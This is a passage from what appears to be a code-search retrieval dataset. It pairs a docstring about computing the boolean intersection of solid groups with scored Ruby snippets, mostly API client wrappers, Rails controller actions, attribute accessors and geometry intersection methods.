'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'NiatelemetryDcnmTransceiverDetailsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"NiatelemetryApi.get_niatelemetry_dcnm_transceiver_details_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NiatelemetryApi#get_niatelemetry_dcnm_transceiver_details_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "aef6073b8c31996a91fd74c4a5a51d11",
"score": "0.47480446",
"text": "def alarm_description\n @alarm.alarm_description\n end",
"title": ""
},
{
"docid": "07a5b5c1a23e336d37a1f12b2a369c59",
"score": "0.47152305",
"text": "def alarm_arn\n data[:alarm_arn]\n end",
"title": ""
},
{
"docid": "b5da0c3f13d62f81f233722dd6d60723",
"score": "0.4711572",
"text": "def read\n response, error = client.read_notification(remote_id)\n error.nil?\n end",
"title": ""
},
{
"docid": "3d2aa61724a88a1669124a329084bbb9",
"score": "0.4700345",
"text": "def details\n get_details if @details.nil?\n return @details\n end",
"title": ""
},
{
"docid": "796a67f8cb1015b292508fe18a4c981a",
"score": "0.46730635",
"text": "def alarm_arn\n data.alarm_arn\n end",
"title": ""
},
{
"docid": "957c14feae8627e2e6307790ad9939a4",
"score": "0.4646522",
"text": "def show\n @mcr_atr = McrAtr.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mcr_atr }\n end\n end",
"title": ""
},
{
"docid": "e88e79930000b225c8da54adc067b4d3",
"score": "0.46363565",
"text": "def detail\n read_attr :detail\n end",
"title": ""
},
{
"docid": "0c70fad043b5b78e1add0a699a0e5946",
"score": "0.46312687",
"text": "def get_attributes\n @client.raw('get', '/config/attributes')\n end",
"title": ""
},
{
"docid": "c45bb2b239fbb09ff77f6609f951b021",
"score": "0.46216804",
"text": "def mic\n @attributes[:mic]\n end",
"title": ""
},
{
"docid": "c45bb2b239fbb09ff77f6609f951b021",
"score": "0.46216804",
"text": "def mic\n @attributes[:mic]\n end",
"title": ""
},
{
"docid": "3bae6cc1f55b0656284e6cad9eb1a325",
"score": "0.46190098",
"text": "def generalAttrInquiry\n\n\t\tbody='{ \"primaryAccountNumber\": \"4465390000029077\" }'\n\n\t\tpath = \"paai/generalattinq/v1/cardattributes/generalinquiry\"\n\n\t\tcallVisaApi(body, path)\n\n\tend",
"title": ""
},
{
"docid": "29f6fcc13231aac6036941a8fbb792fe",
"score": "0.46160084",
"text": "def show\n @apn_device = APN::Device.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @apn_device }\n end\n end",
"title": ""
},
{
"docid": "4abda27cd6901b8ff54ee793ebe468d4",
"score": "0.46053398",
"text": "def details\n @details\n end",
"title": ""
},
{
"docid": "8a8122904d40932b0d97188653c3fcce",
"score": "0.4598816",
"text": "def details\n attributes[\"details\"] ||= {}\n end",
"title": ""
},
{
"docid": "3c8e878174a296b1ae184d5171252cc9",
"score": "0.4595014",
"text": "def get_trip_info(booking_confirmation, system, token)\n resp = fetch_single_order(booking_confirmation, system, token)\n return unpack_fetch_single(resp, booking_confirmation)\n end",
"title": ""
},
{
"docid": "187adb6aeb697c321eae9df977c52a64",
"score": "0.45905614",
"text": "def read_mac_address\n end",
"title": ""
},
{
"docid": "0213ada37db503c3a97ee44472c28abd",
"score": "0.45824888",
"text": "def show\n authorize @customer\n @customer_characteristic = Constant::CUSTOMER_CUSTOMER_CHARACTERISTIC.values_at(*@customer.customer_characteristic)\n @customer_notes = @customer.notes\n end",
"title": ""
},
{
"docid": "9f2f813cbf07cada07fa4a3ae4969595",
"score": "0.45700654",
"text": "def extra_info\n @_extra_info ||=\n begin\n new_device = clone\n new_device.refresh_connection\n new_device.address = \"#{ip}:7100\"\n\n result = new_device.connection.get(\"/stream.xml\")\n raise result if !result.is_a?(Airplay::Connection::Response)\n\n response = result.response\n return {} if response.status != 200\n\n plist = CFPropertyList::List.new(data: response.body)\n CFPropertyList.native_types(plist.value)\n rescue Airplay::Connection::PasswordRequired\n it_has_password!\n\n return {}\n end\n end",
"title": ""
},
{
"docid": "a9dbddab87f620272558cc9db7377137",
"score": "0.4568796",
"text": "def details\n meta[:details]\n end",
"title": ""
},
{
"docid": "95f2d7261f0351a5cec000ee22d03986",
"score": "0.4567003",
"text": "def details\n get.hash_response\n end",
"title": ""
},
{
"docid": "df5cea0d8c93baf51a1ca625b48e45c1",
"score": "0.4560474",
"text": "def print_details(arp=false)\n puts '------------------------'\n puts \"#{name} Configuration...\"\n puts \"My MAC : #{mac.to_mac}\"\n puts \"Gateway: #{gw.to_ip}\"\n myip = ip.to_ip\n puts \"My IP : #{myip}\"\n puts \"My Port: #{port}\"\n\n puts \"Fabric interface is currently: #{is_enabled? ? 'En' : 'Dis'}abled\"\n\n status = xaui_status\n printf \"XAUI Status: %02X\\n\", status\n puts \"\\tlane sync 0: #{(status>>2)&1}\"\n puts \"\\tlane sync 1: #{(status>>3)&1}\"\n puts \"\\tlane sync 2: #{(status>>4)&1}\"\n puts \"\\tlane sync 3: #{(status>>5)&1}\"\n puts \"\\tLane bond : #{(status>>6)&1}\"\n\n puts 'XAUI PHY config:'\n printf \"\\tRX_eq_mix : %2X\\n\", rx_eq_mix\n printf \"\\tRX_eq_pol : %2X\\n\", rx_eq_pol\n printf \"\\tTX_pre-emph : %2X\\n\", tx_preemph\n printf \"\\tTX_diff_ctrl: %2X\\n\", tx_diff_ctrl\n\n if arp\n subnet = myip.mask(24)\n puts 'ARP Table:'\n arp_table.each_with_index do |mac, i|\n printf \"IP: %-15s -> MAC: %s\\n\", subnet|i, mac.to_mac\n end\n end\n end",
"title": ""
},
{
"docid": "9588effb3d30f6d3abd381def281efe8",
"score": "0.45509124",
"text": "def get_rx_details(id)\n collection = get_all_rxs\n collection.find_first_by('prescription_id' => { 'eq' => id })\n end",
"title": ""
},
{
"docid": "a5a0d45f08799cbbe408b10f9909df96",
"score": "0.45395485",
"text": "def get_active_rxs_with_details\n Common::Collection.fetch(::PrescriptionDetails, cache_key: cache_key('getactiverx'), ttl: CACHE_TTL) do\n perform(:get, 'prescription/getactiverx', nil, token_headers).body\n end\n end",
"title": ""
},
{
"docid": "24e0be1b2ac399d9453f512d2a10f98e",
"score": "0.45370355",
"text": "def read\n pin.read\n end",
"title": ""
},
{
"docid": "62be90cfdaa8dce0c01dd9b340bbe456",
"score": "0.45248795",
"text": "def ia_rec_type\n case @sierra.bcode1\n when 's', 'b'\n 'serial'\n when 'a', 'c', 'm'\n 'mono'\n end\n end",
"title": ""
},
{
"docid": "f11ba936f4aa1652478dda0423f9ae44",
"score": "0.45228162",
"text": "def test_ut_t2_ats_ac_007\n ats = AnalyzeConfig.new()\n ats_detail = ats.get_ats_details(nil, 1)\n assert_nil ats_detail.id\n end",
"title": ""
},
{
"docid": "0978c3b7087dd768037f0351fc9174a6",
"score": "0.45200694",
"text": "def info\n @info ||= read_info\n end",
"title": ""
},
{
"docid": "c985067d2e12a2407e504aa58f508609",
"score": "0.4518669",
"text": "def network_get_detail(network_uuid)\n network_opaqueref = network_get_ref(network_uuid)\n if network_opaqueref.key?('Value')\n record = @connect.call('network.get_record', @session, network_opaqueref['Value'])\n record['Value']['VIFs'].map! do |vif_ref|\n vif_get_uuid(vif_ref)['Value']\n end\n record\n else\n network_opaqueref\n end\n end",
"title": ""
},
{
"docid": "9a20bd9dd63579da82e25b5fd8bd4020",
"score": "0.45055136",
"text": "def read_api_usage\n @attributes[:read_api_usage]\n end",
"title": ""
},
{
"docid": "76aa93a2052aa051524d38b9b55d49e6",
"score": "0.4499573",
"text": "def test_ut_t2_ats_ac_006\n ats = AnalyzeConfig.new()\n ats_detail = ats.get_ats_details(ATS_ID,1)\n assert_not_nil ats_detail\n assert_equal ATS_ID, ats_detail.analyze_config_id\n end",
"title": ""
},
{
"docid": "7e52ff978994d68b9822bbda04c8db30",
"score": "0.44856218",
"text": "def account_details\n Unfuddled::AccountDetails.from_response(send(:get , '/api/v1/initializer.json'))\n end",
"title": ""
},
{
"docid": "4d38c9d29ee70a8f411bfea18b94456d",
"score": "0.44853306",
"text": "def details(aml_exception_id)\n API::request(:get, FundAmerica.base_uri + \"aml_exceptions/#{aml_exception_id}\")\n end",
"title": ""
},
{
"docid": "cd4dd9f34813564718aa7969eb224ed8",
"score": "0.44821647",
"text": "def account_information(recv_window: nil)\n params = {}\n params[:recWindow] = recv_window if recv_window\n SignedRequest.perform({\n request_method: :get,\n path: '/api/v3/account',\n params: params,\n })\n end",
"title": ""
},
{
"docid": "fadf266a6e31fcf7f7cd0cec4edeac1c",
"score": "0.44788495",
"text": "def airline_info(airline_code:)\n command = Command.new(\n command: :AirlineInfo,\n result: Types::AirlineInfoResults,\n version: 3,\n parameters: {airline_code: airline_code}\n )\n perform_operation(command)\n end",
"title": ""
},
{
"docid": "3780f11119065e7d93f8e1366562f665",
"score": "0.44765303",
"text": "def current\n response = self.class.get(\"#@uri/#@timestamp\")\n raise ServiceError, response.body unless response.code.eql? 200\n NISTRandomnessBeacon::Record.new(response.parsed_response['record'])\n end",
"title": ""
},
{
"docid": "5c976440a8cf790c30253a81391f2de1",
"score": "0.44742706",
"text": "def airline_info(airlineCode:)\n command = Command.new(\n command: :AirlineInfo,\n result: Types::AirlineInfoResults,\n version: 2,\n parameters: {airlineCode: airlineCode}\n )\n perform_operation(command)\n end",
"title": ""
},
{
"docid": "51f50b6222bacc7b9a043dbc20df267f",
"score": "0.44740838",
"text": "def details\n JSON.parse(get(:details)) rescue nil\n end",
"title": ""
},
{
"docid": "3e7afe7b4ff5c18d872472ea505b324e",
"score": "0.44694573",
"text": "def show_connection\n puts @apiobject.inspect\n end",
"title": ""
},
{
"docid": "3e7afe7b4ff5c18d872472ea505b324e",
"score": "0.44694573",
"text": "def show_connection\n puts @apiobject.inspect\n end",
"title": ""
},
{
"docid": "bf09d9d27d0bbe44b32b5126aff88f54",
"score": "0.44678834",
"text": "def show\n @peripheral = Peripheral.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @peripheral }\n end\n end",
"title": ""
},
{
"docid": "1706e8a605879e78e36746d2cd4821fd",
"score": "0.4466035",
"text": "def get\n @client = Universign::Client.new\n\n safeguard do\n result = @client.call('requester.getTransactionInfo', @transaction_id)\n self.from_data(result)\n end\n end",
"title": ""
},
{
"docid": "54c0c4f4eac1bb6bba5219ba8b9c0337",
"score": "0.44659537",
"text": "def get_preferred_contactinfo\n rci = get_preferred_role_contactinfo\n result = nil\n result = rci.contactinfo if !rci.blank?\n result\n end",
"title": ""
},
{
"docid": "5d82cbfcb2ee5c52a9fedd4e359748db",
"score": "0.44561931",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Voice.V1.ArchivedCallInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "7b36331ffcf705b95cbcd5c474a20c03",
"score": "0.44544998",
"text": "def info\n @info ||= Device.device_info(id)\n end",
"title": ""
},
{
"docid": "616fd5a5a167f555a667ae0d17b289c7",
"score": "0.44527692",
"text": "def show\n @apn_device = ApnDevice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @apn_device }\n end\n end",
"title": ""
},
{
"docid": "7e52c2ef936d3d9f93c81e53fa56bfcf",
"score": "0.44517955",
"text": "def getCia()\n require 'json'\n\n # read in ciAttributes from custom payload\n cia_payload = node.workorder.payLoad.yarnconfigci\n # parse json and shove into a dictionary\n cia = JSON.parse(cia_payload[0].to_json)[\"ciAttributes\"]\n\n return cia\nend",
"title": ""
},
{
"docid": "9507c59f1b5b0d87bbd3c6a5a1bc89b7",
"score": "0.4450958",
"text": "def detail\n response[\"detail\"]\n end",
"title": ""
},
{
"docid": "7838ec3b0a8665e566ffb77c259ec95d",
"score": "0.4450665",
"text": "def details\n return @requests + \": \" + \"#{@extra_cost}\" + \". \" + @basic_patient.details\n end",
"title": ""
},
{
"docid": "ac9435fff9af43c1b51bcb8ab52463af",
"score": "0.4447281",
"text": "def read_other_details\n # Get Contact information\n @base_xml.elements.each(\"#{@ns}:Contacts/#{@ns}:Contact\") do |contact|\n @contacts << BuildingSync::Contact.new(contact, @ns)\n end\n end",
"title": ""
},
{
"docid": "9995541b749cb05d8de3998ca9c2b2c9",
"score": "0.44414908",
"text": "def customer_details\n self.stripe_charge_response[\"source\"]\n end",
"title": ""
},
{
"docid": "74b6bd0bd26559b3dc31c1e8bdcf8946",
"score": "0.4434116",
"text": "def details(args = {})\n make_request(\n http_method: :get,\n endpoint: path_for(:details, ride_id: args.delete(:ride_id)),\n access_token: args.delete(:access_token)\n )\n end",
"title": ""
},
{
"docid": "141beebe5ee2dc06692d9033434df766",
"score": "0.44339874",
"text": "def show\n @thermostat = Thermostat.find(params[:id])\n @history_thermostats = @thermostat.history_thermostats\n alarm\n end",
"title": ""
},
{
"docid": "f3110362493fdae1d94eb9c237753ae6",
"score": "0.44319052",
"text": "def details\n return @details\n end",
"title": ""
},
{
"docid": "f3110362493fdae1d94eb9c237753ae6",
"score": "0.44319052",
"text": "def details\n return @details\n end",
"title": ""
},
{
"docid": "34bddde6071bd9314bbe0d78ea3e51fb",
"score": "0.4429838",
"text": "def details\n return @details\n end",
"title": ""
},
{
"docid": "a83816633149dea9f545adda2e329d73",
"score": "0.44262823",
"text": "def show\n @arbitrage = Arbitrage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arbitrage }\n end\n end",
"title": ""
},
{
"docid": "b04857e9dd69e02e14ea20085f8581e9",
"score": "0.4424442",
"text": "def attributes_at(_ref = nil)\n info_attributes\n end",
"title": ""
},
{
"docid": "fefba002385c05b2c06e3612abf1b895",
"score": "0.44221854",
"text": "def info(resource_uuid_field)\n @client.resource.info(resource_uuid_field)\n end",
"title": ""
},
{
"docid": "2424c02e28c9ee8ac2defb5f5e3b1760",
"score": "0.44199634",
"text": "def otp\n @attributes[:otp]\n end",
"title": ""
},
{
"docid": "2424c02e28c9ee8ac2defb5f5e3b1760",
"score": "0.44199634",
"text": "def otp\n @attributes[:otp]\n end",
"title": ""
},
{
"docid": "2424c02e28c9ee8ac2defb5f5e3b1760",
"score": "0.44199634",
"text": "def otp\n @attributes[:otp]\n end",
"title": ""
},
{
"docid": "be411344860a6c92b12f814ba941eee2",
"score": "0.4417439",
"text": "def extract_attributes\n\n raw_representation[1]\n end",
"title": ""
},
{
"docid": "5aa7565e02081877e153a9c7726f4feb",
"score": "0.4414222",
"text": "def status\n response = self.get('/air_network/wireless_info.asp')\n vars = %w(provider network_type_var cardstate current_network_mode rscp ecio)\n status = {}\n vars.each do |var_name|\n status[var_name.to_sym] = grab_var(response, var_name)\n end\n status[:rssi] = (status[:rscp].to_f/status[:ecio].to_f)\n status\n end",
"title": ""
},
{
"docid": "215e017409a752be2873d3e11f9d1efb",
"score": "0.4412702",
"text": "def getAccountInfo()\n acctid = @roomInstance.split(\"/\")[0]\n data = RTC::http_get(\"#{@baseURL}app/account?account=#{acctid}&#{@authToken}\", @authHeaders)\n\tputs data if DEBUG\n\n response = REXML::Document.new(data).root\n\tRTC::check_status response\n\n\tinfo = response.elements['account-info']\n\tainfo = AccountInfo.new\n\tainfo.userCount = info.elements['user-count'].text.to_i\n\tainfo.peakUserCount = info.elements['peak-user-count'].text.to_i\n\tainfo.bytesUp = info.elements['total-bytes-up'].text.to_i\n\tainfo.bytesDown = info.elements['total-bytes-down'].text.to_i\n\tainfo.messages = info.elements['total-messages'].text.to_i\n\tainfo.userTime = RTC::parseElapsed(info.elements['total-time'].text)\n\tainfo.dateCreated = RTC::parseDateTime(info.elements['date-created'].text)\n\tainfo.dateExpired = RTC::parseDateTime(info.elements['date-expired'].text)\n\tactiveInstances = info.elements['active-FMS-instances'].text\n\tainfo.activeRooms = activeInstances[1,activeInstances.length-2].split(\",\").map { |v| v.match(/.*\\/(.*)/)[1] }\n\treturn ainfo\n end",
"title": ""
},
{
"docid": "fc3afb8e73ff8734357fa8bee90a1521",
"score": "0.44122267",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Api.V2010.FeedbackInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "e8d4f05421872db85cc374ce1e750d95",
"score": "0.4409543",
"text": "def get_micr_condition\n facility.details[:micr_line_info]\n end",
"title": ""
},
{
"docid": "047ed79335b05f65828ed9cc6bed0ab6",
"score": "0.44075862",
"text": "def read_attributes\n @_attributes\n end",
"title": ""
},
{
"docid": "924c540326bb8d2fd8581ef8000a4f57",
"score": "0.44066134",
"text": "def get_niatelemetry_apic_snmp_trap_details_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: NiatelemetryApi.get_niatelemetry_apic_snmp_trap_details_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/niatelemetry/ApicSnmpTrapDetails'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'NiatelemetryApicSnmpTrapDetailsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"NiatelemetryApi.get_niatelemetry_apic_snmp_trap_details_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NiatelemetryApi#get_niatelemetry_apic_snmp_trap_details_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "4d65bfb4f0927eac92e7c18f528a1256",
"score": "0.43966088",
"text": "def get_details\n if self.vin?\n begin\n @details = JSON.parse get_decoder.full(self.vin)\n raise @details['message'] if @details['status'].to_s.eql? \"NOT_FOUND\" \n raise @details['message'] if @details['status'].to_s.eql? \"BAD_REQUEST\"\n rescue Exception => e\n errors.add(:vin, e.message)\n end\n end\n end",
"title": ""
},
{
"docid": "024bf661664d2a572c90a8300d3b79e6",
"score": "0.43917114",
"text": "def phonedetails\n {\n deviceId: 'FCDBD8EF-62FC-4ECB-B2F5-92C9E79AC7F9',\n manufacturer: 'Apple',\n model: 'iPhone 6',\n latitude: 28.6139,\n longitude: 77.209\n }\n end",
"title": ""
},
{
"docid": "91286e9107dc2301c9323fba6becee36",
"score": "0.4384754",
"text": "def detail\n attributes.fetch(:detail)\n end",
"title": ""
},
{
"docid": "91286e9107dc2301c9323fba6becee36",
"score": "0.4384754",
"text": "def detail\n attributes.fetch(:detail)\n end",
"title": ""
},
{
"docid": "91286e9107dc2301c9323fba6becee36",
"score": "0.4384754",
"text": "def detail\n attributes.fetch(:detail)\n end",
"title": ""
},
{
"docid": "91286e9107dc2301c9323fba6becee36",
"score": "0.4384754",
"text": "def detail\n attributes.fetch(:detail)\n end",
"title": ""
}
] |
866f919e983c199f873f9b871885d0b0
|
The intersect method is used to compute the boolean intersection of two groups representing manifold solid volumes (this & arg). If the specified objects (this and arg) do not represent manifold volumes, this method fails.
|
[
{
"docid": "143ab976ca61787650ef9a8a316d2161",
"score": "0.69522166",
"text": "def intersect(group)\n end",
"title": ""
}
] |
[
{
"docid": "adaebc3ac9dd7f54e0745d7921209104",
"score": "0.64610124",
"text": "def __intersect__(object)\n object.__intersect_from_object__(self)\n end",
"title": ""
},
{
"docid": "58e821800e55a3b5bba9798d3d72de96",
"score": "0.64552844",
"text": "def intersect(*args)\n new(:intersect, *args)\n end",
"title": ""
},
{
"docid": "d0fde3b3b8f09d4922953509a090eb41",
"score": "0.6309158",
"text": "def intersect obj\n obj.intersectPoint self \n end",
"title": ""
},
{
"docid": "1c34fd714e1eb4816104cab07f53acdb",
"score": "0.6282258",
"text": "def intersect\n use(:__intersect__)\n end",
"title": ""
},
{
"docid": "7805734402b3d02f76bcd568e11a77a0",
"score": "0.62518793",
"text": "def intersect\n use(:__intersect__)\n end",
"title": ""
},
{
"docid": "cf84d5ab9580d6d79dfde9c89ca6fb46",
"score": "0.6222738",
"text": "def intersect(other)\n end",
"title": ""
},
{
"docid": "35d848cf018ac511e2632bea10c0265d",
"score": "0.6104817",
"text": "def __intersect__(object); object; end",
"title": ""
},
{
"docid": "729138533b63216361823876d0ad00b4",
"score": "0.60928273",
"text": "def intersects?(other)\n raise ArgumentError.new(\"Cuboids can only evaluate other cuboids for intersection\") unless (other.is_a?(Cuboid))\n\n self.overlaps_in_x?(other) && self.overlaps_in_y?(other) && self.overlaps_in_z?(other)\n end",
"title": ""
},
{
"docid": "501c7124a1522d2ebe08083e1971839d",
"score": "0.6076095",
"text": "def intersect(other)\n binary_operation(__method__, other, Algebra::Intersection)\n end",
"title": ""
},
{
"docid": "b6d7bb5bf19c68c968d7805f6272edf7",
"score": "0.60656446",
"text": "def intersect?(other); end",
"title": ""
},
{
"docid": "b6d7bb5bf19c68c968d7805f6272edf7",
"score": "0.60656446",
"text": "def intersect?(other); end",
"title": ""
},
{
"docid": "4390aeccb315f07e9869f24a8ca2a635",
"score": "0.59763896",
"text": "def intersect obj\n obj.intersectLine(self)\n end",
"title": ""
},
{
"docid": "1ffd79b0040b5024ac8985b322e22806",
"score": "0.5930837",
"text": "def intersect other\n other.send(\"intersect#{@dispatch}\", self) \n end",
"title": ""
},
{
"docid": "75f2e37122547bd3dcb515e2d5d95884",
"score": "0.5876439",
"text": "def intersect? ; @intersect ; end",
"title": ""
},
{
"docid": "9a9fd97d83a83ba04ddf162199b1b1d5",
"score": "0.58588505",
"text": "def &(other) intersection(other) end",
"title": ""
},
{
"docid": "92beef99886995805c97b770d79beda4",
"score": "0.5847258",
"text": "def intersect(instance)\n end",
"title": ""
},
{
"docid": "5db6838511df8d8facd07b227e0fa368",
"score": "0.5837482",
"text": "def intersect(other_bounding_box)\n end",
"title": ""
},
{
"docid": "57a884f852f248ef1b07631a4a35f35b",
"score": "0.58095396",
"text": "def intersection(another) \n self & another \n end",
"title": ""
},
{
"docid": "b78bbb818e397ce72868f65d0650738c",
"score": "0.57956797",
"text": "def envelopes_intersect? other\n postgis_calculate(:se_envelopesintersect, [self, other])\n end",
"title": ""
},
{
"docid": "3feb40dea029ab8ef1300729a033b108",
"score": "0.5776032",
"text": "def intersects?(other)\n x_axis_start = [self.vertices[:bbl][0], other.vertices[:bbl][0]].max\n x_axis_end = [self.vertices[:bbr][0], other.vertices[:bbr][0]].min\n\n y_axis_start = [self.vertices[:bbl][1], other.vertices[:bbl][1]].max\n y_axis_end = [self.vertices[:btl][1], other.vertices[:btl][1]].min\n\n z_axis_start = [self.vertices[:bbl][2], other.vertices[:bbl][2]].max\n z_axis_end = [self.vertices[:fbl][2], other.vertices[:fbl][2]].min\n\n #If any of the conditions below return true, there is an overlap on that axis.\n #Assuming that if one or two axis return true, the cuboids are stacked next to each other on those axis.\n #If all three conditions return true, there is an intersection between the two cuboids.\n (x_axis_end > x_axis_start) && (y_axis_end > y_axis_start) && (y_axis_end > y_axis_start)\n end",
"title": ""
},
{
"docid": "88a41d6c9e20554f1d821fd99e3d9211",
"score": "0.57180005",
"text": "def intersection(*args)\n ary = self\n args.each do |x|\n ary = ary & x\n end\n ary\n end",
"title": ""
},
{
"docid": "0016c4958c25769363b19ad8b9164417",
"score": "0.5709105",
"text": "def intersection(b)\n\t\tx_intersection(b) * y_intersection(b)\n\tend",
"title": ""
},
{
"docid": "d00eea07c2579db24c63f07b674954f3",
"score": "0.57025933",
"text": "def intersection(*args)\n other = coerce_zone(*args)\n\n vt = vt_range.intersection(other.vt_range)\n tt = tt_range.intersection(other.tt_range)\n vt && tt && self.class.new( vt, tt )\n end",
"title": ""
},
{
"docid": "40eeb2f043cae73dfd4dc85892234486",
"score": "0.56912917",
"text": "def intersect?(plane)\n not parallel? plane\n end",
"title": ""
},
{
"docid": "eb3baf34ee6adce2a8c3d70183862313",
"score": "0.56894946",
"text": "def __intersect_from_object__(object)\n Array(object) & Array(self)\n end",
"title": ""
},
{
"docid": "f1b0ede24f9a371e0af76dfb4937e9dd",
"score": "0.56700325",
"text": "def intersect(dataset, opts={})\n opts = {:all=>opts} unless opts.is_a?(Hash)\n raise(InvalidOperation, \"INTERSECT not supported\") unless supports_intersect_except?\n raise(InvalidOperation, \"INTERSECT ALL not supported\") if opts[:all] && !supports_intersect_except_all?\n compound_clone(:intersect, dataset, opts)\n end",
"title": ""
},
{
"docid": "16b9de22d5c13eb83b2bcba3826b5abe",
"score": "0.56663424",
"text": "def intersect obj\n obj.intersectVerticalLine(self)\n end",
"title": ""
},
{
"docid": "68975cc252e09c4d381fc524baf599f9",
"score": "0.5660189",
"text": "def |(filter)\n self.class.intersect(self, filter)\n end",
"title": ""
},
{
"docid": "8ab51b87e1fe2c0c05dd87b9e8dce9a6",
"score": "0.5653049",
"text": "def intersect(attrs = {})\n self.class.new(@backend, @initial_set, @associated_class, self,\n ::Zermelo::Filters::Steps::IntersectStep.new({}, attrs))\n end",
"title": ""
},
{
"docid": "6b87f4096baa4646b2abc469a876a4ca",
"score": "0.5651971",
"text": "def intersects?(other)\n other.vertices.each do |vertex|\n case within_cube(vertex)\n when \"on cube surface\"\n return true if other.within_cube(center) || within_cube(other.center)\n when true\n return true\n end\n end\n\n false\n end",
"title": ""
},
{
"docid": "956dc3dac6bf68a3c6cd50fa3f4e3727",
"score": "0.5619079",
"text": "def intersect(grp_0,grp_1)\n\tintersection=Sketchup.active_model.entities.add_group\n\tgrp_0.entities.intersect_with false,grp_0.transformation,intersection.entities,Geom::Transformation.new,false,[grp_1]\n\ts_intersect=Set.new #edges in the intersection\n\t#s_remove=Set.new\t#entities to be removed\n\tintersection.entities.transform_entities(grp_0.transformation.inverse,intersection.entities.to_a)\n\tputs grp_0.entities.length\n\tintersection.entities.each{|x| s_intersect.insert grp_0.entities.add_edges(x.start,x.end)[0]}\n\tputs grp_0.entities.length\n\tSketchup.active_model.selection.add intersection.entities.to_a \n\tprint s_intersect.length,\" edges in the intersection\\n\"\n\t#we can be smart here\n\tstart_entity=grp_0.entities.to_a.last #a good guess for entity within\n\tif(start_entity.typename=='Face')\n\t\tstart_entity=start_entity.edges[0]\t\n\tend\n\t#remove_1(start_entity,s_intersect,s_remove)\n\ts_remove=remove_1(start_entity,s_intersect)\n\tif(s_remove.empty?)\n\t\ts_remove.insert grp_0.entities.to_a.last\n\tend\n\tprint s_remove.length,\" entities to remove\\n\"\n\tSketchup.active_model.entities.erase_entities intersection\n\tl=grp_0.explode #grp_0 does not exist anymore, all the entities are now in Sketchup.active_model.entities\n\ta=Sketchup.active_model.entities.add_group s_remove.to_a\n\tb=Sketchup.active_model.entities.add_group Sketchup.active_model.entities.to_a.select{|x| (!s_remove.include?(x)&&l.include?(x))}\n\treturn a,b\nend",
"title": ""
},
{
"docid": "f39bc303b60dc3d5b2fddd2757c8cdab",
"score": "0.56040746",
"text": "def intersect(nodes)\n chain_set_operation(Intersect.new, nodes)\n end",
"title": ""
},
{
"docid": "9a6bde3600e3151582cebdf455f8a458",
"score": "0.5587078",
"text": "def intersection a, b\n c = Clipper::Clipper.new\n \n c.add_subject_polygon a.map(&:to_a)\n c.add_clip_polygon b.map(&:to_a)\n c.intersection(:non_zero, :non_zero)[0].map{|pnt| Point.new(*pnt)}\n end",
"title": ""
},
{
"docid": "b155e6559f2433346c4fb69f299593ea",
"score": "0.5576754",
"text": "def supports_intersect_except_all?\n true\n end",
"title": ""
},
{
"docid": "b155e6559f2433346c4fb69f299593ea",
"score": "0.5576754",
"text": "def supports_intersect_except_all?\n true\n end",
"title": ""
},
{
